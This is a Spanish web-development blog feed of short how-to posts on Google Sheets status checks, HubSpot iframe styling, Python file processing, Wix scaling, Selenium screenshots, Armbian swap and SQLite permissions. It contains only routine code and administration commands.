tag:blogger.com,1999:blog-285299432024-03-06T00:06:25.143+01:00Programador: Avanza en la webApuntes sobre php, javascript, css, seo, diseño y demás cosas dentro del entorno de la programación web.Unknownnoreply@blogger.comBlogger350125tag:blogger.com,1999:blog-28529943.post-69351894317226112692022-12-08T14:14:00.007+01:002022-12-08T19:45:56.751+01:00Comprobar código de respuesta desde google sheetsEl uso de Google Sheets es una forma de automatizar una gran amplitud de tareas.
Hay varias funciones que pueden realizar varias operaciones dentro de una hoja de Google, incluida la verificación del estado de un sitio web.
Abre una hoja de googe sheets
haz Click en extensiones y vas a app script
Allí puedes pegar este código:
<pre>
function httpstatuscode(url) {
var result = [];
url.toString().trim();
var options = {
'muteHttpExceptions': true,
'followRedirects': false,
};
try {
result.push(UrlFetchApp.fetch(url, options).getResponseCode());
}
catch (error) {
result.push(error.toString());
} finally {
return result;
}
}
</pre>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-28529943.post-77840776821725612712022-05-03T19:58:00.005+02:002022-05-03T20:02:09.931+02:00Cambiar los colores de los iframes de Hubspot<p> Son muchos los servicios que uan iframes para cargar contenido desde oro sitio. Un ejemplo sería Hubspot que tiene una versión gratuita hasta los 2000 contactos pero que no deja cambiar los colores de los campos del formulario.</p><p><br /></p><p>Esto se puede solucionar vía javascript inyectando css directamente al iframe. Vamos a ver las formas que hay para hacerlo:</p><p><br /></p><p>Con Jquery:</p><p><br /></p><p><pre><br style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;" /><br style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;" /><span style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;">setTimeout(function(){</span><br style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;" /><br style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;" /><span style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;">var head = jQuery("#hs-form-iframe-0").</span><wbr style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;"></wbr><span style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;">contents().find("head");</span><br style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;" /><span style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;">var css = '<style type="text/css">' +</span><br style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;" /><span style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;">'.hs-button {' +</span><br style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;" /><span style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;"> 'border-color: #ffffff !important;' +</span><br style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;" /><span style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;">'background-color: #ffffff !important;'+</span><br style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;" /><span style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;">'color:#007396 !important;}'+</span><br style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;" /><span style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;"> '.hubspot-link__container{</span><wbr style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;"></wbr><span style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;">display:none;} label{color:#ffffff;} a{color:#ffffff !important;}</style>';</span><br style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;" /><br style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;" /><span style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;">jQuery(head).append(css);</span><br style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;" /><br style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;" /><span style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;">}, 1100);</span><br style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;" /><span style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;">});</span><br style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;" /><span style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;"></pre></span></p><p><br /></p><p>Con Vanilla JS</p><p><br /></p><p><pre></p><p>setTimeout(function(){</p><p> let myiFrame = document.getElementById("hs-form-iframe-0");</p><p> let doc = myiFrame.contentDocument;</p><p> doc.body.innerHTML = doc.body.innerHTML + '<style>.hs-button {border-color: #ffffff !important;<span style="white-space: pre;"> </span>background-color: #ffffff !important;<span style="white-space: pre;"> </span>color:#007396 !important;} .hubspot-link__container{display:none;} label{color:#ffffff;} a{color:#ffffff !important;}</style>';</p><p> }, 1100);</p><p>});</p><p>}</pre></p><p><br /></p><p>También se puede enlazar un fichero css:</p><p><br /></p><p><pre>window.onload = function() {</p><p> let link = document.createElement("link");</p><p> link.href = "style.css"; /**** your CSS file ****/ </p><p> link.rel = "stylesheet"; </p><p> link.type = "text/css"; </p><p> frames[0].document.head.appendChild(link); /**** 0 is an index of your iframe ****/ </p><p>}</pre></p><p><br /></p><p>Cambiando el nombre del ID del iframe podéis atacar cualquier iframe ya sea el de un chat o cualquier otro servicioo que tengáis enveustra página web.</p><p><br /></p>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-28529943.post-58796128297153197702021-12-06T13:05:00.001+01:002021-12-06T13:05:35.109+01:00Trabajar con archivos grandes<p> A veces toca trabajar con archivos frandes de más e 1GB y comienzan a salir errores de memoria.</p><p><br /></p><p>Lo primero es dividirlo en trozos más pequeños:</p><p><br /></p><pre class="example" style="-webkit-text-stroke-width: 0px; background-color: whitesmoke; border-radius: 4px; border: 1px solid rgb(204, 204, 204); box-sizing: border-box; color: #333333; display: block; font-family: Monaco, Menlo, Consolas, "Courier New", monospace; font-size: 14.4px; font-stretch: inherit; font-style: normal; font-variant-caps: normal; font-variant-east-asian: inherit; font-variant-ligatures: normal; font-variant-numeric: inherit; font-weight: 400; letter-spacing: normal; line-height: inherit; margin: 1em 0px; orphans: 2; overflow-wrap: break-word; overflow: auto; padding: 9.5px; text-align: left; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; white-space: pre-wrap; widows: 2; word-break: break-word; word-spacing: 0px;">split -b 300000k se.txt file-</pre><p><br /></p><p>Con este comando de linux dividimos en partes de 300Mb mas o menos que ya es un tamaño más manejable.</p><p><br /></p><p>Luego coges tu fichero de python</p><pre class="example" style="-webkit-text-stroke-width: 0px; background-color: whitesmoke; border-radius: 4px; border: 1px solid rgb(204, 204, 204); box-sizing: border-box; color: #333333; display: block; font-family: Monaco, Menlo, Consolas, "Courier New", monospace; font-size: 14.4px; font-stretch: inherit; font-style: normal; font-variant-caps: normal; font-variant-east-asian: inherit; font-variant-ligatures: normal; font-variant-numeric: inherit; font-weight: 400; letter-spacing: normal; line-height: inherit; margin: 1em 0px; orphans: 2; overflow-wrap: break-word; overflow: auto; padding: 9.5px; text-align: left; text-decoration-color: initial; text-decoration-style: initial; text-decoration-thickness: initial; text-indent: 0px; text-transform: none; white-space: pre-wrap; widows: 2; word-break: break-word; word-spacing: 0px;">import time<br />start = time.time()<br /><br />file1=open("C:\\proyectos\\bak\\ps2\\se-aa.txt","r")<br />file2=open("C:\\proyectos\\bak\\ps2\\se1.txt","w")<br />data1 = set(file1.read().splitlines())<br />for list in data1:<br /> try:<br /> x = list.index(".se.")<br /> y=x+3<br /> z=list[0:y]<br /> file2.write(z)<br /> file2.write('\n')<br /> except ValueError:<br /> print ("error")<br /><br />file1.close()<br />file2.close()<br /><br />end = time.time()<br />print(end - start)<br /><br /></pre><p>Coges el fichero de 300 megas lo metes en un set para que quede en memoria y el proceso sea más rápido. Después vas línea a línea y buscas un patrón. en este caso '.se.' </p><p>Quiero que cuando se encuentre se coja toda la línea hasta .se y entonces lo guarde en un fichero.</p><p><br /></p><p>Mi equipo estaba algo saturado y tardaba 8 segundos en leer los 300Mb .</p><p><br /></p><p>Debo comprar mas RAM y así podré trabajar bien con archivos de pocas gigas.<br /></p>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-28529943.post-29891336912127762082021-03-23T22:14:00.006+01:002021-03-23T22:15:25.353+01:00Hacer responsive una página de wix<p><br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://upload.wikimedia.org/wikipedia/en/thumb/7/76/Wix.com_website_logo.svg/1280px-Wix.com_website_logo.svg.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="311" data-original-width="800" height="124" src="https://upload.wikimedia.org/wikipedia/en/thumb/7/76/Wix.com_website_logo.svg/1280px-Wix.com_website_logo.svg.png" width="318" /></a></div><br /><p><br /></p><p><br /></p><p>El que no haya probado como hacer una web en wix mejor que no lo intente.</p><p>Código sucio es poco y un asesor SEO que te obliga a hacer las cosas mal si lo sigues al pie de la letra.</p><p>Las páginas de wix, supongo que para los usuarios no la cagasen en 2005, sólo permiten una anchura de 980px como máximo.</p><p>Si tienes un monitor de 24 pulgadas en el año 2021 verás un gran espacio a ambos lados del contenido de tu página.</p><p>Wix recomienda si quieres hacer algo más moderno pasarte a editorx. Esta sería otra historia.</p><p>Los chicos de wix también han creado un editor avanzado de javascript. Tan avanzado que no tiene acceso al DOM y se han inventado un javascript propio para que solo puedas hacer cosas mínimas.</p><p><br /></p><p>El truco para conseguir pasar de las majaderías de esta empresa, es inyectar código en el único sitio donde lo admiten. La zona especial donde se suele meter el código de analytics.</p><p><br /></p><p>Hay que seguir la siguiente ruta:</p><pre class="a-b-r-La" style="background-color: white; font-family: "Courier New", Courier, monospace, arial, sans-serif; font-size: 14px; margin-bottom: 0px; margin-top: 0px; overflow-wrap: break-word; user-select: text; white-space: pre-wrap;">Panel de control -> Opciones -> Código personalizado -> añadir</pre><pre class="a-b-r-La" style="background-color: white; font-family: "Courier New", Courier, monospace, arial, sans-serif; font-size: 14px; margin-bottom: 0px; margin-top: 0px; overflow-wrap: break-word; user-select: text; white-space: pre-wrap;"><br /></pre><pre class="a-b-r-La" style="background-color: white; font-family: "Courier New", Courier, monospace, arial, sans-serif; font-size: 14px; margin-bottom: 0px; margin-top: 0px; overflow-wrap: break-word; user-select: text; white-space: pre-wrap;">hay qeu incluir el código antes del body así que "Cuerpo final"</pre><pre class="a-b-r-La" style="background-color: white; font-family: "Courier New", Courier, monospace, arial, sans-serif; font-size: 14px; margin-bottom: 0px; margin-top: 0px; overflow-wrap: break-word; user-select: text; white-space: pre-wrap;">Elegir en 2Todas las páginas" y "subir código una vez".</pre><pre class="a-b-r-La" style="background-color: white; font-family: "Courier New", Courier, monospace, arial, sans-serif; font-size: 14px; margin-bottom: 0px; margin-top: 0px; overflow-wrap: break-word; user-select: text; white-space: pre-wrap;"><br /></pre><pre class="a-b-r-La" style="background-color: white; font-family: "Courier New", Courier, monospace, arial, sans-serif; font-size: 14px; margin-bottom: 0px; margin-top: 0px; overflow-wrap: break-word; user-select: text; white-space: pre-wrap;">Un código que funciona es escalar el div princpl de nuestro contenido #masterPage. Se puede usar tanto zoom como transform: scale()
<style>
@media only screen and (min-width: 1367px) {
#masterPage{
zoom:1.3;
-moz-transform: scale(1.3);
-moz-transform-origin: top;
}
}</pre><pre class="a-b-r-La" style="background-color: white; font-family: "Courier New", Courier, monospace, arial, sans-serif; font-size: 14px; margin-bottom: 0px; margin-top: 0px; overflow-wrap: break-word; user-select: text; white-space: pre-wrap;"><pre class="a-b-r-La" style="font-family: "Courier New", Courier, monospace, arial, sans-serif; margin-bottom: 0px; margin-top: 0px; overflow-wrap: break-word; user-select: text; white-space: pre-wrap;">@media only screen and (min-width: 1900px) {
#masterPage{
zoom:1.6;
-moz-transform: scale(1.6);
-moz-transform-origin: top;
}
}</pre>
</style></pre><pre class="a-b-r-La" style="background-color: white; font-family: "Courier New", Courier, monospace, arial, sans-serif; font-size: 14px; margin-bottom: 0px; margin-top: 0px; overflow-wrap: break-word; user-select: text; white-space: pre-wrap;"><br /></pre><pre class="a-b-r-La" style="background-color: white; font-family: "Courier New", Courier, monospace, arial, sans-serif; font-size: 14px; margin-bottom: 0px; margin-top: 0px; overflow-wrap: break-word; user-select: text; white-space: pre-wrap;">Con este código insertado, vuestra página se ampliará sin dejar esos huecos tan grandes a los lados. Se debe jugar con las cifras para obtener el mejor resultado.</pre><pre class="a-b-r-La" style="background-color: white; font-family: "Courier New", Courier, monospace, arial, sans-serif; font-size: 14px; margin-bottom: 0px; margin-top: 0px; overflow-wrap: break-word; user-select: text; white-space: pre-wrap;"><br /></pre><pre class="a-b-r-La" style="background-color: white; font-family: "Courier New", Courier, monospace, arial, sans-serif; font-size: 14px; margin-bottom: 0px; margin-top: 0px; overflow-wrap: break-word; user-select: text; white-space: pre-wrap;">Poco más se puede hacer con css en wix. La mayoría de los divs están fijados a fuego con código en el html.</pre><pre class="a-b-r-La" style="background-color: white; font-family: "Courier New", Courier, monospace, arial, sans-serif; font-size: 14px; margin-bottom: 0px; margin-top: 0px; overflow-wrap: break-word; user-select: text; white-space: pre-wrap;"><br /></pre><pre class="a-b-r-La" style="background-color: white; font-family: "Courier New", Courier, monospace, arial, sans-serif; font-size: 14px; margin-bottom: 0px; margin-top: 0px; overflow-wrap: break-word; user-select: text; white-space: pre-wrap;">No he probado a inyectar javascript. Supongo que también funcionaría.</pre><pre class="a-b-r-La" style="background-color: white; font-family: "Courier New", Courier, monospace, arial, sans-serif; font-size: 14px; margin-bottom: 0px; margin-top: 0px; overflow-wrap: break-word; user-select: text; white-space: pre-wrap;"><br /></pre><pre class="a-b-r-La" style="background-color: white; font-family: "Courier New", Courier, monospace, arial, sans-serif; font-size: 14px; margin-bottom: 0px; margin-top: 0px; overflow-wrap: break-word; user-select: text; white-space: pre-wrap;"><br /></pre>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-28529943.post-75034665973724293792020-11-14T18:41:00.006+01:002020-11-14T18:43:24.333+01:00Hacer foto de una web con python desde consola<p>A veces nos resulta necesario hacer una comprobación visual y automática del estado de una página web.</p><p>Se puede hacer de muchas maneras. En este ejemplo, vamos a usar la consola de linux. En mi caso, un ubuntu sin entorno gráfico puesto.<br /></p><p>Necesitamos instalar Selenium y el chrome driver. Juntos nos proporcionan una forma muy rápida y eficaz de hacer estas fotos.<br /></p><p>Instalamos Selenium. Un software que nos puede valer para testear nuestros proyectos web.<br /></p><p>pip install -U selenium</p><p><br /></p><p>Ahora instalamos el chrome driver que básicamente es un navegador desde el cual se hace la foto. Nos renderiza la url que le enviemos.<br /></p><pre class="lang-rb s-code-block hljs ruby" style="-webkit-text-stroke-width: 0px; background-color: var(--highlight-bg); border-radius: 5px; border: 0px none; box-sizing: inherit; color: var(--highlight-color); font-family: Consolas, Menlo, Monaco, "Lucida Console", "Liberation Mono", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Courier New", monospace, sans-serif; font-size: 13px; font-stretch: inherit; font-style: normal; font-variant-caps: normal; font-variant-east-asian: inherit; font-variant-ligatures: normal; font-variant-numeric: inherit; font-weight: 400; letter-spacing: normal; line-height: 1.30769; margin-bottom: calc(var(--s-prose-spacing) + 0.4em); margin-left: 0px; margin-right: 0px; margin-top: 0px; max-height: 600px; orphans: 2; overflow-wrap: normal; overflow: auto; padding: 12px; text-align: left; text-decoration-color: initial; text-decoration-style: initial; text-indent: 0px; text-transform: none; vertical-align: baseline; widows: 2; width: auto; word-spacing: 0px;"><code style="background-color: transparent; border: 0px none; box-sizing: inherit; font-family: inherit; font-size: 13px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: inherit;">sudo apt-get install chromium-chromedriver</code></pre><pre class="lang-rb s-code-block hljs ruby" style="-webkit-text-stroke-width: 0px; background-color: var(--highlight-bg); border-radius: 5px; border: 0px none; box-sizing: inherit; color: var(--highlight-color); font-family: Consolas, Menlo, Monaco, "Lucida Console", "Liberation Mono", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Courier New", monospace, sans-serif; font-size: 13px; font-stretch: inherit; font-style: normal; font-variant-caps: normal; font-variant-east-asian: inherit; font-variant-ligatures: normal; font-variant-numeric: inherit; font-weight: 400; letter-spacing: normal; line-height: 1.30769; margin-bottom: calc(var(--s-prose-spacing) + 0.4em); margin-left: 0px; margin-right: 0px; margin-top: 0px; max-height: 600px; orphans: 2; overflow-wrap: normal; overflow: auto; padding: 12px; text-align: left; text-decoration-color: initial; text-decoration-style: initial; text-indent: 0px; text-transform: none; vertical-align: baseline; widows: 2; width: auto; word-spacing: 0px;"><code style="background-color: transparent; border: 0px none; box-sizing: inherit; font-family: inherit; font-size: 13px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: inherit;"> </code></pre><pre class="lang-rb s-code-block hljs ruby" style="-webkit-text-stroke-width: 0px; background-color: var(--highlight-bg); border-radius: 5px; border: 0px none; box-sizing: inherit; color: var(--highlight-color); font-family: Consolas, Menlo, Monaco, "Lucida Console", "Liberation Mono", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Courier New", monospace, sans-serif; font-size: 13px; font-stretch: inherit; font-style: normal; font-variant-caps: normal; font-variant-east-asian: inherit; font-variant-ligatures: normal; font-variant-numeric: inherit; font-weight: 400; letter-spacing: normal; line-height: 1.30769; margin-bottom: calc(var(--s-prose-spacing) + 0.4em); margin-left: 0px; margin-right: 0px; margin-top: 0px; max-height: 600px; orphans: 2; overflow-wrap: normal; overflow: auto; padding: 12px; text-align: left; text-decoration-color: initial; text-decoration-style: initial; text-indent: 0px; text-transform: none; vertical-align: baseline; widows: 2; width: auto; word-spacing: 0px;"><code style="background-color: transparent; border: 0px none; box-sizing: inherit; font-family: inherit; font-size: 13px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: inherit;">Creamos el fichero makeImg.py con este código:</code></pre><pre class="lang-rb s-code-block hljs ruby" style="-webkit-text-stroke-width: 0px; background-color: var(--highlight-bg); border-radius: 5px; border: 0px none; box-sizing: inherit; color: var(--highlight-color); font-family: Consolas, Menlo, Monaco, "Lucida Console", "Liberation Mono", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Courier New", monospace, sans-serif; font-size: 13px; font-stretch: inherit; font-style: normal; font-variant-caps: normal; font-variant-east-asian: inherit; font-variant-ligatures: normal; font-variant-numeric: inherit; font-weight: 400; letter-spacing: normal; line-height: 1.30769; margin-bottom: calc(var(--s-prose-spacing) + 0.4em); margin-left: 0px; margin-right: 0px; margin-top: 0px; max-height: 600px; orphans: 2; overflow-wrap: normal; overflow: auto; padding: 12px; text-align: left; text-decoration-color: initial; text-decoration-style: initial; text-indent: 0px; text-transform: none; vertical-align: baseline; widows: 2; width: auto; word-spacing: 0px;"><code style="background-color: transparent; border: 0px none; box-sizing: inherit; font-family: inherit; font-size: 13px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: inherit;"> </code></pre><pre class="lang-rb s-code-block hljs ruby" style="-webkit-text-stroke-width: 0px; background-color: var(--highlight-bg); border-radius: 5px; border: 0px none; box-sizing: inherit; color: var(--highlight-color); font-family: Consolas, Menlo, Monaco, "Lucida Console", "Liberation Mono", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Courier New", monospace, sans-serif; font-size: 13px; font-stretch: inherit; font-style: normal; font-variant-caps: normal; font-variant-east-asian: inherit; font-variant-ligatures: normal; font-variant-numeric: inherit; font-weight: 400; letter-spacing: normal; line-height: 1.30769; margin-bottom: calc(var(--s-prose-spacing) + 0.4em); margin-left: 0px; margin-right: 0px; margin-top: 0px; max-height: 600px; orphans: 2; overflow-wrap: normal; overflow: auto; padding: 12px; text-align: left; text-decoration-color: initial; text-decoration-style: initial; text-indent: 0px; text-transform: none; vertical-align: baseline; widows: 2; width: auto; word-spacing: 0px;"><code style="background-color: transparent; border: 0px none; box-sizing: inherit; font-family: inherit; font-size: 13px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: inherit;">#coding=utf-8 ><br />import time<br />from selenium import webdriver<br />from selenium.webdriver.chrome.options import Options<br /><br /><br />options = webdriver.ChromeOptions()<br />options.headless = True<br />driver = webdriver.Chrome(options=options)<br /><br />URL = 'https://avanzaweb.net'<br /><br />driver.get(URL)<br /><br />S = lambda X: driver.execute_script('return document.body.parentNode.scroll'+X)<br />driver.set_window_size(S('Width'),S('Height')) # May need manual adjustment ><br />driver.find_element_by_tag_name('body').screenshot('avanzaweb.png')<br /><br />driver.quit() </code></pre><pre class="lang-rb s-code-block hljs ruby" style="-webkit-text-stroke-width: 0px; background-color: var(--highlight-bg); border-radius: 5px; border: 0px none; box-sizing: inherit; color: var(--highlight-color); font-family: Consolas, Menlo, Monaco, "Lucida Console", "Liberation Mono", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Courier New", monospace, sans-serif; font-size: 13px; font-stretch: inherit; font-style: normal; font-variant-caps: normal; font-variant-east-asian: inherit; font-variant-ligatures: normal; font-variant-numeric: inherit; font-weight: 400; letter-spacing: normal; line-height: 1.30769; margin-bottom: calc(var(--s-prose-spacing) + 0.4em); margin-left: 0px; margin-right: 0px; margin-top: 0px; max-height: 600px; orphans: 2; overflow-wrap: normal; overflow: auto; padding: 12px; text-align: left; text-decoration-color: initial; text-decoration-style: initial; text-indent: 0px; text-transform: none; vertical-align: baseline; widows: 2; width: auto; word-spacing: 0px;"><code style="background-color: transparent; border: 0px none; box-sizing: inherit; font-family: inherit; font-size: 13px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: inherit;"> </code></pre><pre class="lang-rb s-code-block hljs ruby" style="-webkit-text-stroke-width: 0px; background-color: var(--highlight-bg); border-radius: 5px; border: 0px none; box-sizing: inherit; color: var(--highlight-color); font-family: Consolas, Menlo, Monaco, "Lucida Console", "Liberation Mono", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Courier New", monospace, sans-serif; font-size: 13px; font-stretch: inherit; font-style: normal; font-variant-caps: normal; font-variant-east-asian: inherit; font-variant-ligatures: normal; font-variant-numeric: inherit; font-weight: 400; letter-spacing: normal; line-height: 1.30769; margin-bottom: calc(var(--s-prose-spacing) + 0.4em); margin-left: 0px; margin-right: 0px; margin-top: 0px; max-height: 600px; orphans: 2; overflow-wrap: normal; overflow: auto; padding: 12px; text-align: left; text-decoration-color: initial; text-decoration-style: initial; text-indent: 0px; text-transform: none; vertical-align: baseline; widows: 2; width: auto; word-spacing: 0px;"><code style="background-color: transparent; border: 0px none; box-sizing: inherit; font-family: inherit; font-size: 13px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: inherit;"> </code></pre>Cambiando avanzaweb por la url y nombre de imagen de vuestro agrado tenemos la imagen generada justo en la carpeta de ejecución del script.<br /><br /><pre class="lang-rb s-code-block hljs ruby" style="-webkit-text-stroke-width: 0px; background-color: var(--highlight-bg); border-radius: 5px; border: 0px none; box-sizing: inherit; color: var(--highlight-color); font-family: Consolas, Menlo, Monaco, "Lucida Console", "Liberation Mono", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Courier New", monospace, sans-serif; font-size: 13px; font-stretch: inherit; font-style: normal; font-variant-caps: normal; font-variant-east-asian: inherit; font-variant-ligatures: normal; font-variant-numeric: inherit; font-weight: 400; letter-spacing: normal; line-height: 1.30769; margin-bottom: calc(var(--s-prose-spacing) + 0.4em); margin-left: 0px; margin-right: 0px; margin-top: 0px; max-height: 600px; orphans: 2; overflow-wrap: normal; overflow: auto; padding: 12px; text-align: left; text-decoration-color: initial; text-decoration-style: initial; text-indent: 0px; text-transform: none; vertical-align: baseline; widows: 2; width: auto; word-spacing: 0px;"><code style="background-color: transparent; border: 0px none; box-sizing: inherit; font-family: inherit; font-size: 13px; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: inherit;">Más sencillo imposible. </code></pre>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-28529943.post-8677677019424429422020-04-22T09:11:00.003+02:002020-04-22T09:11:29.964+02:00Añadir más RAM al fichero Swap en ARMBIAN<br />
<br />
Por ejemplo, si queremos añadir un giga al fichero ram y evitar que nuestro kernel kill algún proceso por falta de memoria. Esta sería una posible solución:<br />
<br />
<blockquote class="tr_bq">
<blockquote class="tr_bq">
swapoff -a</blockquote>
<blockquote class="tr_bq">
dd if=/dev/zero bs=1M count=1024 of=/var/swap.img</blockquote>
<blockquote class="tr_bq">
mkswap /var/swap.img</blockquote>
</blockquote>
editar el fichero fstab<br />
<blockquote class="tr_bq">
<blockquote class="tr_bq">
nano /etc/fstab</blockquote>
</blockquote>
y añadir esta línea:<br />
<blockquote class="tr_bq">
<blockquote class="tr_bq">
/var/swap.img<span style="white-space: pre;"> </span>none<span style="white-space: pre;"> </span>swap<span style="white-space: pre;"> </span>sw<span style="white-space: pre;"> </span>0<span style="white-space: pre;"> </span>0</blockquote>
<blockquote class="tr_bq">
swapon -a</blockquote>
</blockquote>
<br />
Haciendo esto ya tenéis al momneto el giga . en mi caso tenía 400 megas así que he aumentado el swap en 600 Mb más.<br />
<br />
También dicen que no es muy bueno tener el swap en la tarjeta SD pero no he visto forma de ponerla. En principio no tengo punto de montaje ni acceso a esa parte del cacharro. Sería mejor solución poner el swap en esa otra memoria.Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-28529943.post-78011046741694056722018-11-28T21:55:00.001+01:002018-11-28T21:55:36.077+01:00 SQlite error: Unable to Open Database File<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1eYm05fQFpyAanVYtXevgtxB7FaLLLK-ZVzFqIoNaZT0lhai11p4EROnCyGXxDXEnnqU3aOtGHS5ZgD3efV6MvNvBFUTwgK6zlHY7nUaBJHXOju2xgtCm0EGTFO_CGjJBqcCzQg/s640/sqlite1.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="220" data-original-width="527" height="133" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1eYm05fQFpyAanVYtXevgtxB7FaLLLK-ZVzFqIoNaZT0lhai11p4EROnCyGXxDXEnnqU3aOtGHS5ZgD3efV6MvNvBFUTwgK6zlHY7nUaBJHXOju2xgtCm0EGTFO_CGjJBqcCzQg/s320/sqlite1.PNG" width="320" /></a></div>
<br />
<br />
Recientemente actualicé un archivo correspondiente a un fichero sqlite 3 y no había forma de hacerlo funcionar.<br />
El error que me salía era este:<br />
<br />
<b>Warning: SQLite3::query(): Unable to prepare statement: 14</b><br />
<br />
Probé muchas cosas y al final la que me ha funcionado ha sido esta:<br />
<br />
1. cambiar tanto los permisos del fichero como de la carpeta:<br />
<br />
chown www-data:www-data fichero.db<br />
<br />
2. Dar permisos de ejecución<br />
<br />
chmod a+x fichero.db<br />
<br />
3. Pero aún no iba . Me dí cuenta que sqlite3 generaba otros dos ficheros y que tenían los permisos cambiados así que también procedí a cambiarselos:<br />
<br />
chown www-data:www-data fichero*<br />
chmod a+x fichero*<br />
<br />
Y comenzó a funcionar. Se ve que sqlite3 no podía trabajar con esos archivos si no tenían esos permisos u otros algo menores.<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-28529943.post-41894109860344712272017-11-17T16:45:00.000+01:002017-11-17T16:45:31.248+01:00Crear aplicación React Native entorno<div class="tr_bq">
Me estoy iniciando con React native y os voy a comentar los problemas que voy teniendo cuando me he puesto a hacer mi primera app del primer tutorial que he visto en la red.</div>
<br />
<br />
<br />
<ol>
<li>apt-get install npm</li>
<li>npm install --save prop-types</li>
<li>npm install -g create-react-native-app </li>
<li>create-react-native-app CurrencyConverter</li>
</ol>
<div>
Al parecer la versión de node que tenía en el VPS era muy antigua y no me dejaba hacer el punto 4 con el siguiente error:</div>
<div>
<br /></div>
<div>
<blockquote class="tr_bq">
/usr/local/lib/node_modules/create-react-native-app/node_modules/fs-extra/lib/index.js:3<br />
const assign = require('./util/assign')<br />
^^^^^<br />
SyntaxError: Use of const in strict mode.</blockquote>
</div>
<div>
<br /></div>
<div>
Para instalar una versión de node más moderna:</div>
<div>
<br /></div>
<div>
</div>
<br />
